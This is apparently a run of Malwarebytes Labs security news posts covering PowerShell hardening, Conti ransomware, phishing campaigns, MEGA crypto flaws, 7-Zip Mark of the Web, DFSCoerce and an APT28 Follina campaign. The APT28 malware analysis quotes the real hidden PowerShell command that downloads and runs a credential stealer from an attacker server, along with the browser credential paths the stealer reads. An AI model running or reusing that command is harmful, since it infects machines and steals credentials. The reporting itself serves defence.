International cybersecurity authorities have published a Cybersecurity Information Sheet on making it harder to abuse PowerShell
The post Cybersecurity agencies: You don’t have to delete PowerShell to secure it appeared first on Malwarebytes Labs.

Microsoft’s PowerShell is a useful, flexible tool that is as popular with criminals as it is with admins. Cybercrooks like it becasue PowerShell is powerful, available almost everywhere, and doesn’t look out of place running on a company network.

In most places it isn’t practical to block PowerShell completely, which raises the question: How do you stop the bad stuff without disrupting the good stuff?

Cybersecurity authorities from the United States, New Zealand, and the United Kingdom have released a joint Cybersecurity Information Sheet (CIS) on PowerShell that attempts to answer that question.

The National Security Agency (NSA), the Cybersecurity and Infrastructure Security Agency (CISA), the New Zealand National Cyber Security Centre (NZ NCSC), and the United Kingdom National Cyber Security Centre (NCSC-UK) hope that “these recommendations will help defenders detect and prevent abuse by threat actors, while enabling legitimate use by administrators and defenders.”

**PowerShell**

Although it’s closely associated with the world of Windows administration, PowerShell is a cross-platform (Windows, Linux, and macOS) automation and configuration tool which, by design, is optimized for dealing with structured data. Initially a Windows component only, known as Windows PowerShell, it was made open-source and cross-platform on 18 August 2016 with the introduction of PowerShell Core.

It allows system administrators and power users to perform administrative tasks via a command line—an area where Windows previously lagged behind its Unix-like rivals with their proliferation of \*sh shells.

Threat actors are equally fond of it because it allows them to “live off the land”, and for the options it provides to create fileless malware or to gain persistence on a compromised system.

**Reduce abuse**

The CIS discusses some security features available in PowerShell which can reduce abuse by threat actors.

**Remote connections**

Remote connections can be used for powerful remote management capabilities, so Windows Firewall rules on endpoints should be configured appropriately to control permitted connections. Access to endpoints with PowerShell remoting requires the requesting user account to have administrative privileges at the destination by default. The permission requirement and Windows Firewall rules are customizable for restricting connections to only trusted endpoints and networks to reduce lateral movement opportunities. Organizations can implement these rules to harden network security where feasible.

Multiple authentication methods in PowerShell permit use on non-Windows devices. PowerShell 7 permits remote connections over Secure Shell (SSH) in addition to supporting Windows Remote Management (WinRM) connections. This allows for public key authentication and makes remote management through PowerShell of machines more convenient and secure.

**AMSI integration**

The Antimalware Scan Interface (AMSI) feature, first available on Windows 10, is integrated into different Windows components. It supports scanning of in-memory and dynamic file contents using an anti-malware product registered with Windows and exposes an interface for applications to scan potentially malicious content. This feature requires AMSI-aware anti-malware products (such as Malwarebytes). Basically, AMSI works by analyzing scripts before the execution, so the anti-malware product can determine if the script is malicious or not.

**Constrained Language Mode**

Configuring AppLocker or Windows Defender Application Control (WDAC) to block actions on a Windows host will cause PowerShell to operate in Constrained Language Mode (CLM), restricting PowerShell operations unless allowed by administrator-defined policies.

**PowerShell methods to detect abuse**

Logging of PowerShell activities can record when cyber threats use PowerShell, and continuous monitoring of PowerShell logs can detect and alert on potential abuses. Deep Script Block Logging, Module Logging, and Over-the-Shoulder transcription are disabled by default. The authors recommend enabling the capabilities where feasible.

**Before you start**

If you plan on following the advice in the CIS, there are a few things you may want to consider first.

*   Execution Policies do not restrict execution of all PowerShell content.
*   AMSI bypasses are found and remediated in a constant whack-a-mole game, and most anti-malware products have different ways of accomplishing the same, or better, results. Therefor you will find that most AMSI-aware anti-malware products do not rely on AMSI alone.
*   If you are a customer of a Managed Service Provider (MSP) you may need to contact them before taking any of the actions listed above, since doing so may hinder them in their remote management.
*   Windows Remote Management/Remote Shell (WinRM/WinRS) connection limitations can become an obstacle in organizations with numerous administrators performing remote management, or that have multiple monitoring solutions connecting to the environment. By default, Microsoft Server limits the number of concurrent users connected to the WinRM/WinRS session to five and the number of shells per user to five. This can, and has often been modified by using an elevated command prompt.

Disabling PowerShell, if you do not need it, is a lot easier and safer than applying policies to make it safer to use. But looking at the options to make it more secure is certainly a good idea if you do need it.

Stay safe, everyone!

Cybersecurity agencies: You don’t have to delete PowerShell to secure it

The leak site essential to the operation of Conti ransomware has disappeared, but everything may not be as it appears.
The post Conti ransomware group’s pulse stops, but did it fake its own death? appeared first on Malwarebytes Labs.

The dark web leak site used by the notorious Conti ransomware gang has disappeared, along with the chat function it used to negotiate ransoms with victims. For as long as this infrastructure is down the group is unable to operate and a significent threat is removed from the pantheon of ransomware threats.

The Conti leak site is down (June 22, 2022)

Ransomware gangs like Conti use the threat of leaking stolen data on their dark web sites to extort enormous ransoms from their victims, making the sites a vital cog in the ransomware machine.

While the cause of the site’s disappearance isn’t known for sure, and criminal dark web sites are notoriously flaky, there is good reason to suspect that Conti has gone permanently.

However, while anything that stops Conti from terrorising businesses, schools, and hospitals is welcome, the disappearance of its leak site is unlikely to make potential ransomware victims any safer, sadly.

As we explained in our May ransomware review, recent research by Advintel suggests that Conti has spent the last few months executing a bizarre plan to fake its own death. If that is what’s happened, then the gang’s members have simply dispersed to other ransomware “brands” that are either operated by the Conti gang or affiliated to it.

**Conti—as bad as they come**

The gang behind Conti ransomware (called WizardSpider, although rarely referred to by that name) is believed to be based in Russia, and first appeared in 2020. The FBI recently called it “the costliest strain of ransomware ever documented,” and the US Department of State is offering a reward of up to $10 million for “information leading to the identification and/or location of any individual(s) who hold a key leadership position in the Conti ransomware variant transnational organized crime group.”

Conti has been used in a number of high profile attacks, including a devastating assault on Ireland’s Health Service executive on May 14, 2021. The attack disrupted healthcare in Ireland for months and the recovery effort could end up costing the country more than $100 million.

The real cost of the attack was measured in human suffering though. Speaking to Malwarebytes Labs, a doctor in one of the affected hospitals described how a 21st-century healthcare system deprived of it’s computers is brought to its knees. The attack caused enormous unnecessary suffering for both patients and healthcare professionals, and triggered hundreds of thousands of appointments to be cancelled.

The doctor’s brutal assessment of the Conti gang? “I think they lost their humanity.”

**Faking its own death**

According to Advintel, the Conti gang sealed its fate in February when it published a message in support of Russia’s invasion of Ukraine, declaring its “full support of Russian government.” By aligning itself to the Russian state it had made itself the subject of sanctions. Victims were not prepared to run the risk that their ransom payments might be treated as sanctions violations and Conti’s income dried up.

Ransomware gangs often react to trouble by going dark, or with ham-fisted attempts to pretend they’ve retired. These retirements are often quickly followed by the sudden appearance of a brand new ransomware gang that is obviously just the old gang working under a new name.

Advintel’s research suggested that Conti was aware of this pattern and determined to try something different. Instead of disappearing and then popping up a week later under a new name, the group created and operated new brands—Advintel names KaraKurt, BlackByte, and BlackBasta as examples—before retiring the Conti name, to make the transition less obvious. In addition to creating these new brands, it also dispersed parts of its workforce into existing gangs it had a relationship with, such as Hive and ALPHV.

To complete the deception, it maintained a skeleton crew that carried out extremely noisy, headline-grabbing attacks on Cost Rica, and continued to operate the leak site until the last moment.

Malwarebytes Threat Intelligence was able to independently confirm that Conti sent an internal announcement about its retirement to affiliates at the end of May, and that its internal chat servers stopped working around the same time.

The site had been inactive for 28 days before it disappeared, with the last new leak appearing on May 25. As our May ransomware report revealed, despite the noise it generated from its attacks on Costa Rica, Conti’s activity was significantly depressed in May, while the activity of gangs with alleged links to Conti increased, driven largely by the rise of BlackBasta.

Known ransomware attacks in May 2022

Conti ransomware group’s pulse stops, but did it fake its own death?

Cybersecurity experts want a hotline for SMBs to further encourage cyber incident reporting, especially those involving ransomware attacks.
The post Dial 311 for… cybersecurity emergencies? appeared first on Malwarebytes Labs.

Members of the Cybersecurity Advisory Committee of CISA (Cybersecurity and Infrastructure Security Agency) have proposed an emergency cybersecurity call line for small and medium-sized businesses (SMBs). Should the proposition be approved, SMBs would be able to call 311 in the event of a cybersecurity incident.

CISA’s cyberhygiene subcommittee head, George Stathakopoulos, originally floated the idea that CISA should “launch a 311 national campaign, to provide an emergency call line and clinics for assistance following cyber incidents for small and medium businesses.” The communications subcommittee also floated a similar idea.

CISA and other cybersecurity experts have pushed for more robust incident response reporting. In March, President Joe Biden signed the Strengthening American Cybersecurity Act, a cyber incident reporting bill requiring critical infrastructure operators to report a breach to CISA within 72 hours, and 24 hours if they made a ransomware payment.

CISA Executive Assistant Director for Cybersecurity Eric Goldstein bemoaned how damaging it is for CISA to have little data over ransomware attacks in the US. Speaking to attendees in RSA, Goldstein was quoted saying:

> “A tiny fraction of ransomware infections are reported to the government and the problem is getting worse because we don’t even know what that actual number is. We have no idea the actual denominator of ransomware instructions that are occurring across the country on any given day.”

Dial 311 for… cybersecurity emergencies?

We take a look at reports of rogue cryptocurrency billboards out to phish wallet details from unwary victims.
The post Rogue cryptocurrency billboards go phishing for wallets appeared first on Malwarebytes Labs.

Billboards and digital real world advertising has raised many questions of privacy and anonymity in recent years. Until now, the primary concern has been (mostly) legal, yet potentially objectionable geolocation and user profiling. Bluetooth beacons work in tandem with geofenced billboards to send you offers. Stores follow your movements and tailor products accordingly, occasionally with very bad results. It’s such a common practice that you even see digital advertising used to track appearing in video games.

Attacks we’ve seen in the real world typically involve QR code stickers and take two main forms:

*   Letters or emails/chat app conversations which direct victims to Bitcoin ATMs. These attacks can often tie into money mule schemes.
*   Real world alteration/tampering of genuine QR codes. This can involve bogus QR code stickers placed over locations you’d expect to see a real code. Parking meters and car parks generally are prime targets for this type of scam.

We can now add rogue billboards to the list.

**Beware of the party crashers**

NFT NYC describes itself as “the leading annual non-fungible token event”. The 2022 meet-up is the fourth such event to take place. With NFTs hitting boiling point in the media, it’s natural to think scammers would turn their sights on the plundering of incredibly fungible apes and other items of a digital nature.

If you’re up to no good, and you know digital finance is filled with insecure coin-laden wallets and expensive jpegs, this is _absolutely_ something you’re going to take an interest in.

Sure enough:

The screenshot is from a Discord channel, which says:

> _BE ALERT IF YOU ARE AT NFT NYC_
> 
> _Reports of scam billboards in NYC with QR codes leading to Wallet Drainer sites._

This is probably a good time to explain what a wallet drainer site is.

**Of wallets and draining**

Sadly, it seems nobody grabbed a photo of what these scam billboards look like. However, a “wallet drainer” is just another way of saying “phishing website”. There are three ways the majority of cryptocurrency phishes take place:

1.  Airdrop phishing. This can involve entering your wallet’s recovery phrase onto a fake website (don’t do this), or connecting your wallet directly to the phishing portal (don’t do this either).
2.  Bogus giveaways. These claim you’ll double your money, and often say they are endorsed by celebrities or Elon Musk.
3.  Rogue adverts. These bogus advertisements could lead you to either of the above, or even some completely unrelated technique.

People have confirmed in the replies to the original tweet that the theft here depended on victims scanning the code, and then clicking through to the phishing page. The phishing component depended on them manually entering their details into the fake website. It is _not_ the case that simply visiting it would immediately drain funds or cause apes to go walkabout.

**Rogue cryptocurrency billboards: A growing trend?**

I’m wondering if this is the official cementing of rogue billboards as a digital finance scam technique. You may be surprised to learn this _isn’t_ the first time someone has tried this.

Back in May, cryptocurrency exchange Binance warned of a rash of bogus billboards popping up in Turkey. Scam artists “plastered fake Binance billboards throughout the country”, many of which included a phone number answered by criminals behind the scheme.

> 🛑Bir süredir Türkiye’nin farklı bölgelerinde aşağıdaki görsele benzer reklam panoları göze çarpmaktadır.
> 
> Aşağıdaki görselin #Binance ile ilgisi yoktur❗️
> 
> Dolandırıcılık faaliyeti içinde oldukları açıkça belli olan kişiler hakkında gerekli hukuki süreçler başlatılmıştır.#SAFU pic.twitter.com/znvJDLRP7v
> 
> — Binance Türkiye (@Binance\_Turkish) May 8, 2022

The tactic used here was to convince unwary investors to hand over their seed/recovery phrases. Others were asked to register new accounts. Cryptocurrency scams involving new accounts tend to have funds deposited over time. Eventually the scammers have the victim transfer the funds to sites run exclusively by them. No matter which tactic is used, someone pulled in by the billboard has a strong chance of losing out.

This is clearly a technique which is working for phishers no matter the location. If you’re at an event or simply out and about and spot a cryptocurrency billboard, play it safe. Does the billboard mention a digital finance organisation? Check with the organisation if the URL is genuine. If you’re asked for seed/recovery phrases, _don’t_ hand them over. Does the billboard make claims of doubling whatever you deposit? This is almost certainly a scam, especially if tied to a promotion from Elon Musk or TESLA.

Stay safe out there!

Rogue cryptocurrency billboards go phishing for wallets

Europol, the Belgian police, and the Dutch police, have apprehended members of a cybercriminal gang involved in phishing and other fraud.
The post Police seize and dismantle massive phishing operation appeared first on Malwarebytes Labs.

Europol has coordinated a joint operation to arrest members of a cybercrime gang and effectively dismantle their campaigns that netted million in Euros. This operation also led the Belgian Police (Police Fédérale/Federale Politie) and the Dutch Police (Politie) to nine arrests, 24 house searches, and the seizure of firearms, ammunition, jewelry, electronic devices, cash, and cryptocurrency.

The group was involved in fraud, money laundering, phishing, and scams.

According to a Europol press release, the group’s modus operandi started with an email, text message, or private message containing a link to a phishing page.

Once recipients opened the link, they would be directed to a bogus bank website. Here, they were encouraged to enter their banking credentials. Money mules then used these credentials to cash out millions in Euros from victim accounts.

On top of fraud, the group was also involved in drug and possible firearms trafficking.

“Europol facilitated the information exchange, the operational coordination and provided analytical support for investigation,” reads the press release, revealing law enforcement involvement in the arrest operation. “During the operation, Europol deployed three experts to the Netherlands to provide real-time analytical support to investigators on the ground, forensics and technical expertise.”

The takedown of this phishing operation came months after Europol shut down the FluBot Android operation and the seizure of RaidForums, a hacking forum.

Police seize and dismantle massive phishing operation

Swiss researchers debunked MEGA's claims that anyone that would be able to take over MEGA's infrastructure would still not have access to your information and files.
The post MEGA claims it can’t decrypt your files. But someone’s managed to… appeared first on Malwarebytes Labs.

MEGA, the cloud storage provider and file hosting service, is very proud of its end-to-end encryption. It says it couldn’t decrypt your stored files, even if it wanted to.

“All your data on MEGA is encrypted with a key derived from your password; in other words, your password is your main encryption key. MEGA does not have access to your password or your data. Using a strong and unique password will ensure that your data is protected from being hacked and gives you total confidence that your information will remain just that – yours.”

But there’s a problem. A Swiss team of researchers has just proved those claims wrong.

And that’s not all. The research went one step further, finding that an attacker could insert malicious files into the storage, passing all authenticity checks of the client.

**Cryptography flaws**

Researchers at the Department of Computer Science of the ETH Zurich in Zurich, Switzerland reviewed the security of MEGA and found significant issues in how it uses cryptography.

These findings could lead to devastating attacks on the confidentiality and integrity of user data in the MEGA cloud.

**Key hierarchy**

The MEGA client derives an authentication key and an encryption key from the password. The authentication key identifies users to MEGA. The encryption key encrypts a randomly generated master key, which in turn encrypts other key material of the user. Every account has a set of asymmetric keys: An RSA key pair for sharing data, a Curve25519 key pair for exchanging chat keys for MEGA’s chat functionality, and an Ed25519 key pair for signing the other keys. Furthermore, the client generates a new key for every file or folder (collectively referred to as nodes) uploaded by the user.

Long story short, all the keys are derived in one way or another from the password. And all the keys get stored on MEGA’s servers to support access from multiple devices.

**Ciphertext**

Ciphertext is encrypted text transformed from plaintext using an encryption algorithm. The researchers built two attacks based on the lack of integrity protection of ciphertexts containing keys, and two further attacks to breach the integrity of file ciphertexts and allow a malicious service provider to insert chosen files into a user’s cloud storage.

**Attacks**

Due to the flawed integrity protection, a malicious service provider can recover a user’s private RSA share key (used to share file and folder keys) over 512 login attempts. The number is 512 because of the RSA-CRT implementation used by MEGA clients to build an oracle that leaks one bit of information per login attempt about a factor of the RSA modulus.

As a result the malicious service provider can recover any plaintext encrypted with AES-ECB under a user’s master key. This includes all node keys used for encrypting files and folders. As a consequence, the confidentiality of all user data protected by these keys, such as files and chat messages, is lost.

Based on the first two attacks, a malicious service provider can construct an encrypted file. The user cannot demonstrate that they didn’t upload the forged data because the files and keys are indistinguishable from genuinely uploaded ones. It needs no further explanation that introducing a malicious file in such an attack could further compromise not only the user’s system, but also for those the user has shared their files or folders with.

**MEGA’s response**

MEGA acknowledged the issue on March 24, 2022, and released patches on June 21, 2022, awarding the researchers a bug bounty. But MEGA’s fix differs greatly from what the researchers proposed, patching only for the first attack alone since the other attacks rely on the first one.

Since that does not fix the key reuse issue, lack of integrity checks, and other systemic problems the researchers identified, this remains a source of concern for them.

As a regular MEGA user there is no reason to worry about these flaws, especially if you haven’t logged in more than 512 times. An attacker would need to have control over MEGA’s API servers or TLS connections without being noticed to perform any of these attacks.

Anyone interested in more technical details, can read the researcher’s paper.

MEGA claims it can’t decrypt your files. But someone’s managed to…

Popular zipfile program 7-Zip now supports Microsoft's Mark of the Web feature. What is it, and how does it work?
The post 7-Zip gets Mark of the Web feature, increases protection for users appeared first on Malwarebytes Labs.

One of the most popular zip programs around, 7-Zip, now offers support for “Mark of the Web” (MOTW), which gives users better protection from malicious files.

This is good news. But what does that actually mean?

In the bad old days, opening up a downloaded document could be a fraught exercise. Malicious files would often have full permission from the system to do whatever they wanted. Compromised PCs were the inevitable end result, and infected attachments were extremely popular. Outside of regular security tools, there often wasn’t much else available to help stop the flow.

Microsoft’s file block feature in 2007 meant network administrators could lock down any attempt to open specific file types. Unfortunately, this was a little too restrictive for some users. Files couldn’t be opened, even in cases where the user knew they were safe.

Microsoft changed things up a little in 2010, with Protected View.

**Protected View: what is it?**

Every time you download a spreadsheet or Word document and open it up, some checking takes place in the background. Downloaded files produce a yellow bar with the following message:

> _Protected View: Be careful. Files from the internet can contain viruses. Unless you need to edit, it’s safer to stay in Protected View._

This isn’t too different to the old file block feature, with a few key differences. Firstly, you can actually look at the document you want to open. As it is locked into a read-only mode, it can’t do anything malicious to your system. Secondly, users now have the option to enable editing. While there are other potentially dangerous aspects to opening downloaded files, Microsoft has solutions for those too. There is, of course, something telling these programs to warn you about potentially dangerous files. This is where MOTW comes into play.

**How does Mark of the Web help?**

MOTW is perhaps most recently known for blocking VBA code from running in Office. When a file is downloaded, Windows adds a ZoneId to the file which is responsible for the warning message(s). When the system detects the mark, the yellow bar is replaced by a red one. Unlike it’s yellow counterpart, there is no enable content button. Those files are done, with no way back.

Right click a file you’ve downloaded, and in General properties you should see a message which reads:

> _This file came from another computer and might be blocked to help protect this computer._

This exists thanks to MOTW.

The mark doesn’t exist on the file itself, which is left untouched. Originally an Internet Explorer security feature, you’ll now find it keeping you from harm’s way across the Microsoft product range.

**Is this new addition a benefit for a zip program?**

Absolutely. As noted by Bleeping Computer, MOTW didn’t apply to files extracted with 7-Zip. As a result, you’d have Office files opening as if you’d created them yourself with no Protected View in sight.

With this now enabled in the latest version of 7-Zip, some key Windows security precautions are now back in place.

There are some caveats to this story. As we know, not everybody pays attention to security warnings. Computer users routinely ignore all manner of security alerts from their operating system, browser, and security tools. The design and placement of warnings can further deter people paying attention to them. On top of all that, bogus security warnings can further make things confusing for users.

No matter how many warning messages are displayed, some people will still click “Enable” on files they shouldn’t. Even so, opening downloaded files with restrictions applied from the get-go can only be a good thing.

7-Zip gets Mark of the Web feature, increases protection for users

An email campaign lures users with a voicemail notification to enter their Office 365 credentials on a fake login page.
The post Watch out for the email that says “You have a new voicemail!” appeared first on Malwarebytes Labs.

A phishing campaign is using voicemail notification messages to go after victims’ Office 365 credentials.

According to researchers at ZScaler, the campaign uses spoofed emails with an HTML attachment that contains encoded javascript.

The email claims that you have a new voicemail and that you can listen to the message by clicking on the attachment. To add credibility, the name of the attachment starts with a music note character like f.e. ♫ to make it look like a sound clip. In reality, it is an HTML file with obfuscated javascript embedded.

The javascript uses the **windows.location.replace** method to redirect the target to a specially crafted phishing page. The access to the page is behind a reCAPTCHA, probably to keep out the bots, particularly any automated URL analysis tools.

**Spoofed email**

Email spoofing basically comes down to sending emails with a false sender address. This can be used in various ways by attackers. Obviously pretending to be someone else can have its advantages especially if that someone else holds a position of power or trust with regards to the receiver.

In this campaign the threat actors use a name in the “From” field of the email aligned with the targeted organization’s name. An internal mail is more likely to be trusted by the receiver. Analysis of the email headers shows that the attacker leveraged email servers located in Japan.

**Targets**

The final credential phishing page attempts to steal the Office 365 credentials of the users by presenting them with a fake login screen. The redirection URL includes the target’s email address in base64 encoded, likely so the attackers will be able to match the victim and their login credentials.

The researchers found the campaign targeting organizations in the US military, security software developers and providers, healthcare and pharmaceutical, and supply-chain organizations in manufacturing and shipping.

**How to avoid being phished**

*   Do not open unverified email attachments. If someone you know sends you an attachment you’re not expecting, check it is really them via another contact method.
*   Do not enter your credentials before checking the actual URL of the site.
*   If you use a password manager that autofills your login details, it will not enter your credentials on a phishing site because it will have a different URL. This is a really handy giveaway that something is up.
*   Enable 2-factor authentication (2FA). If you hand over your password to a phishing page, the phisher can’t do much with it while you’re protected with 2FA. This isn’t foolproof though, as some phishing sites will also try to steal your 2FA codes.

Stay safe, everyone!

Watch out for the email that says “You have a new voicemail!”

A researcher has posted a PoC for yet another NTLM relay attack method dubbed DFSCoerce. It is high time to retire NTLM. 
The post DFSCoerce, a new NTLM relay attack, can take control over a Windows domain appeared first on Malwarebytes Labs.

A researcher has published a Proof-of-Concept (PoC) for an NTLM relay attack dubbed DFSCoerce. The method leverages the Distributed File System: Namespace Management Protocol (MS-DFSNM) to seize control of a Windows domain.

**Active Directory**

A directory service is a hierarchical arrangement of objects which is structured in a way that makes access easy. Windows Active Directory (AD) is a directory service provided by Microsoft and developed for Windows domains. Basically, it is a central database which gets contacted before a user is granted access to a resource or a service. Organizations primarily use AD to perform authentication and authorization.

Many large organizations depend on Windows Active Directory (AD) to maintain order in the mountain of work involved in managing users, computers, permissions, and file servers.

**NTLM**

NTLM is short for New Technology LAN Manager. NTLM is the successor to the authentication protocol in Microsoft LAN Manager (LANMAN). NTLM is a protocol that uses a challenge and response method to authenticate a client.

1.  First, the client establishes a network path to the server and sends a NEGOTIATE\_MESSAGE advertising its capabilities.
2.  Next, the server responds with CHALLENGE\_MESSAGE which is used to establish the identity of the client.
3.  Finally, the client responds to the challenge with an AUTHENTICATE\_MESSAGE.

The NTLM protocol uses one or both of two hashed password values. Both passwords are also stored on the server (or domain controller). And through a lack of salting they are password equivalent, meaning that if you grab the hash value from the server, you can authenticate without knowing the actual password.

**NTLM relay attack**

NTLM relay attacks allow attackers to steal hashed versions of user passwords, and relay clients’ credentials in an attempt to authenticate to servers. They use a Machine-in-the-Middle method that allows threat actors to sit between clients and servers and intercept and relay validated authentication requests in order to gain unauthorized access to network resources.

PetitPotam is an example of an NTLM relay attack that prompted Microsoft to send out an advisory for system administrators to stop using the now deprecated Windows NT LAN Manager (NTLM) to thwart an attack. PetitPotam used the Microsoft Encrypting File System Remote Protocol (MS-EFSRPC) protocol to execute an NTLM attack.

The DFSCoerce script is based on the PetitPotam exploit, but instead of using MS-EFSRPC, it uses MS-DFSNM, a protocol that allows the Windows Distributed File System (DFS) to be managed over an remote procedure call (RPC) interface.

_Tweet by the researcher that discovered DFSCoerce_

**Other methods**

Other methods threat actors could use include the MS-RPRN, and the MS-FSRVP protocols. And now the researcher has added MS-DFSNM to the list of applicable protocols. A list which researchers expect to grow even more. The Distributed File System Namespace Management (DFSNM) protocol is one of a collection of protocols that group shares that are located on different servers by combining various storage media into a single logical namespace. The DFS namespace is a virtual view of the share. When a user views the namespace, the directories and files in it appear to reside on a single share.

**Mitigation**

While Microsoft has issued patches for NTLM attacks in the past, it is unclear whether it will do the same for DFSNM to thwart the DFSCoerce method.

The advice for system administrators is to follow Microsoft’s advisory on how to prevent NTLM relay attacks. The Microsoft advisory, triggered by PetitPotam, will also prevent DFSCoerce and other NTLM attack methods. The recommendation basically says to disable the deprecated NTLM authentication where possible and use the Extended Protection for Authentication (EPA). Extended Protection for Authentication helps protect against MITM attacks, in which an attacker intercepts a client’s credentials and forwards them to a server.

Stay safe, everyone!

DFSCoerce, a new NTLM relay attack, can take control over a Windows domain

Threat actors associated with Russian intelligence are using the fear or nuclear war to spread data-stealing malware in Ukraine.
The post Russia’s APT28 uses fear of nuclear war to spread Follina docs in Ukraine appeared first on Malwarebytes Labs.

_This blog post was authored by Hossein Jazi and Roberto Santos_.

In a recent campaign, APT28, an advanced persistent threat actor linked with Russian intelligence, set its sights on Ukraine, targeting users with malware that steals credentials stored in browsers.

APT28 (also known as Sofacy and Fancy Bear) is a notorious Russian threat actor that has been active since at least 2004 with its main activity being collecting intelligence for the Russian government. The group is known to have targeted US politicians, and US organizations, including US nuclear facilities.

On June 20, 2022, Malwarebytes Threat Intelligence identified a document that had been weaponized with the Follina (CVE-2022-30190) exploit to download and execute a new .Net stealer first reported by Google. The discovery was also made independently by CERT-UA.

Follina is a recently-discovered zero-day exploit that uses the ms-msdt protocol to load malicious code from Word documents when they are opened. This is the first time we’ve observed APT28 using Follina in its operations.

**The malicious document**

The maldoc’s filename, Nuclear Terrorism A Very Real Threat.rtf, attempts to get victims to open it by preying on their fears that the invasion of Ukraine will escalate into a nuclear conflict.

The content of the document is an article from the Atlantic Council called “_Will Putin use nuclear weapons in Ukraine? Our experts answer three burning questions_” published on May 10 this year.

The lure asks “Will Putin use nuclear weapons in Ukraine?”

The maldoc is an RTF file compiled on June 10, which suggests that the attack was used around the same time. It uses a remote template embedded in the Document.xml.rels file to retrieve a remote HTML file from the URL http://kitten-268.frge.io/article.html.

The malicious HTML document

The HTML file uses a JavaScript call to window.location.href to load and execute an encoded PowerShell script using the ms-msdt MSProtocol URI scheme. The decoded script uses cmd to run PowerShell code that downloads and executes the final payload:

    "C:\WINDOWS\system32\cmd.exe" /k powershell -NonInteractive -WindowStyle Hidden -NoProfile -command "& {iwr http://kompartpomiar.pl/grafika/SQLite.Interop.dll -OutFile "C:\Users\$ENV:UserName\SQLite.Interop.dll";iwr http://kompartpomiar.pl/grafika/docx.exe -OutFile "C:\Users\$ENV:UserName\docx.exe";Start-Process "C:\Users\$ENV:UserName\docx.exe"}"

**Payload Analysis**

The final payload is a variant of a stealer APT28 has used against targets in Ukraine before. In the oldest variant, the stealer used a fake error message to hide what it was doing (A secondary thread was displaying this error message while the main program continued executing.) The new variant does not show the popup.

In older versions of the stealer, a fake error message distracted users

The variant used in this attack is almost identical to the one reported by Google, with just a few minor refactors and some additional sleep commands.

A side-by-side comparison of two versions of the APT28 stealer

As with the previous variant, the stealer’s main pupose is to steal data from several popular browsers.

**Google Chrome and Microsoft Edge**

The malware steals any website credentials (username, password, and url) users have saved in the browser by reading the contents of %LOCALAPPDATA%\Google\Chrome\User Data\Default\Login Data.

Debugging session showing how attackers are capable of stealing credentials

In a very similar way, the new variant also grabs all the saved cookies stored in Google Chrome by accessing %LOCALAPPDATA%\Google\Chrome\User Data\Default\Network\Cookies.

Cookie stealing code (Google Chrome)

Stolen cookies can sometimes be used to break into websites even if the username and password aren’t saved to the browser.

The code to steal cookies and passwords from the Chromium-based Edge browser is almost identical to the code used for Chrome.

**Firefox**

This malware can also steal data from Firefox. It does this by iterating through every profile looking for the cookies.sqlite file that stores the cookies for each user.

Sysmon capturing access to cookies.sqlite file

In the case of passwords, the attackers attempt to steal logins.json, key3.db, key4.db, cert8.db, cert9.db, signons.sqlite.

Attackers will grab also passwords from Firefox

These files are necessary for recovering elements like saved passwords and certificates. Old versions are also supported (signons.sqlite, key3.db and cert8.db are no longer used by new Firefox versions). Note that if the user has set a master password, the attackers will likely attempt to crack this password offline, later, to recover these credentials.

**Exfiltrating data**

The malware uses the IMAP email protocol to exfiltrate data to its command and control (C2) server.

The IMAP login event

The old variant of this stealer connected to mail\[.\]sartoc.com (144.208.77.68) to exfiltrate data. The new variant uses the same method but a different domain, www.specialityllc\[.\]com. Interestingly both are located in Dubai.

It’s likely the owners of the C2 websites have nothing to do with APT28, and the group simply took advantage of abandoned or vulnerable sites.

Although ransacking browsers might look like petty theft, passwords are the key to accessing sensitive information and intelligence. The target, and the involvement of APT28, a division of Russian military intelligence), suggests that campaign is a part of the conflict in Ukraine, or at the very least linked to the foreign policy and military objectives of the Russian state. Ukraine continues to be a battleground for cyberattacks and espionage, as well as devastating kinetic warfare and humanitarian abuses.

For more coverage of threat actors active in the Ukraine conflict, read our recent article about the efforts of an unknown APT group that has targeted Russia repeatedly since Ukraine invasion.

**Protection**

Malwarebytes customers were proactively protected against this campaign thanks to our anti-exploit protection.

**IOCs**

**Maldoc:  
**Nuclear Terrorism A Very Real Threat.rtf  
daaa271cee97853bf4e235b55cb34c1f03ea6f8d3c958f86728d41f418b0bf01

**Remote template (Follina):  
**http://kitten-268.frge\[.\]io/article.html

**Stealer:  
**http://kompartpomiar\[.\]pl/grafika/docx.exe  
2318ae5d7c23bf186b88abecf892e23ce199381b22c8eb216ad1616ee8877933

**C2:  
**www.specialityllc\[.\]com

Source

Malwarebytes